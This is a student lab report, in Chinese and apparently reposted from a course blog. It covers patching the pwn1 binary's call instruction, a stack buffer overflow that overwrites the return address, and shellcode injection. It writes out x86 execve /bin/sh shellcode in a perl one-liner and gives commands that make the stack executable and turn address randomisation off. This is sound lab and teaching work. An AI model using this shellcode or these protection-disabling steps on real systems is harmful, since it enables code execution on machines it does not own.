20175328李欣颖 Exp2 后门原理与实践

时间:2020-03-23 01:25:27   收藏:0   阅读:71

一、实验内容

1、基础问题回答

(1)例举你能想到的一个后门进入到你系统中的可能方式?

(2)例举你知道的后门如何启动起来(win及linux)的方式?

(3)Meterpreter有哪些给你映像深刻的功能?

(4)如何发现自己有系统有没有被安装后门?

2、掌握反汇编与十六进制编程器

(1)反汇编
通过反汇编查找含有跳转指令的汇编行,修改该部分的机器代码使之跳转至getShell函数(其中getShell等函数地址也通过反汇编查询)。
指令为objdump -d xxx。
(2)十六进制编辑器
用来以16进制视图进行文本编辑的编辑工具软件。
一般用vim+xxd。

3、能正确修改机器指令改变程序执行流程

(1)从实验指导书的码云连接中下载pwn1.zip并进行解压,然后保存至虚拟机。
(2)用objdump -d pwn1将pwn1反汇编,得到以下代码:
技术分享图片

(3)在main函数中,发现80484b5: e8 d7 ff ff ff call 8048491 < foo >这条汇编指令,调用位于地址8048491处的foo函数,e8表示“call”,即跳转。
技术分享图片

如果我们想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,我们计算出应该改为c3 ff ff ff。
修改的具体步骤如下:

技术分享图片

(4)修改结束后,再次反汇编进行查看,可以调用getShell:
技术分享图片

(5)运行修改后代码pwn2:
技术分享图片

4、能正确构造payload进行bof攻击

(1)使用objdump -d pwn1 | more对pwn1进行反汇编(全屏幕方式按页显示反汇编的内容)
技术分享图片

(2)pwn1正常运行是调用函数foo,这个函数存在Buffer overflow漏洞。接下来我们的任务是覆盖返回地址。
(3)根据汇编指令lea -0x1c(%ebp),%eax,我们可以知道系统只预留了28字节的缓冲区,超出部分会造成溢出,覆盖返回地址。
(4)进入gdb,尝试输入字符串1111111122222222333333334444444412345678,估计 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。
技术分享图片

根据EIP的值发现溢出的值确实为1234(ASCII码为32 33 34 35),不过次序为倒序。那么如果我们想让程序不去调用函数foo,而是调用函数getShell,那只要把1234这四个字符替换为 getShell 内存地址的倒序,输给pwn1,pwn1就会运行getShell了。
(5)根据上一个实验内容的pwn1的反汇编截图,找到getShell的内存地址为0804847d,把1234替换为0804847d的倒序,即\x7d\x84\x04\x08
技术分享图片

5、注入Shellcode并执行

(1)准备工作(用apt-get install execstack安装execstack要)

root@KaliYL:~# execstack -s pwn1    //设置堆栈可执行
root@KaliYL:~# execstack -q pwn1    //查询文件的堆栈是否可执行
X pwn1
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
2
root@KaliYL:~# echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
root@KaliYL:~# more /proc/sys/kernel/randomize_va_space 
0

(2)选择retaddr+nops+shellcode结构来攻击buf

perl -e ‘print
"\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"‘
> input_shellcode

(3)打开两个终端。终端1注入攻击buf,终端2查看pwn1的进程号
技术分享图片
技术分享图片

(4)用gdb调试该进程,并通过设置断点,来查看注入buf的内存地址
技术分享图片

(5)使用break *0x080484ae设置断点,并输入c继续运行。在pwn1进程正在运行的终端敲回车,使其继续执行。再返回调试终端,使用info r esp查找地址
技术分享图片

(6)使用x/16x 0xffffd33c查看其存放内容,看到了01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd340。
技术分享图片

(7)将之前的\x4\x3\x2\x1改为这个地址,然后再次执行程序
技术分享图片

二、实验总结

1、遇到的问题及解决方法

技术分享图片

2、实验收获与感想

看到内容有点多的时候就开始想拖了,不过在看了老师给的实验指导书以及一些学长学姐的参考博客之后,还算进展的比较顺利,虽然中间也遇到了一些问题,不过搜搜百度还是可以解决的。
做完实验之后,感觉汇编的用到的地方很多,感觉得回头再翻翻汇编书。

3、什么是漏洞?漏洞有什么危害?

原文:https://www.cnblogs.com/seven-moon/p/12549435.html

评论(0
© 2014 bubuko.com 版权所有 - 联系我们:wmxa8@hotmail.com
打开技术之扣,分享程序人生!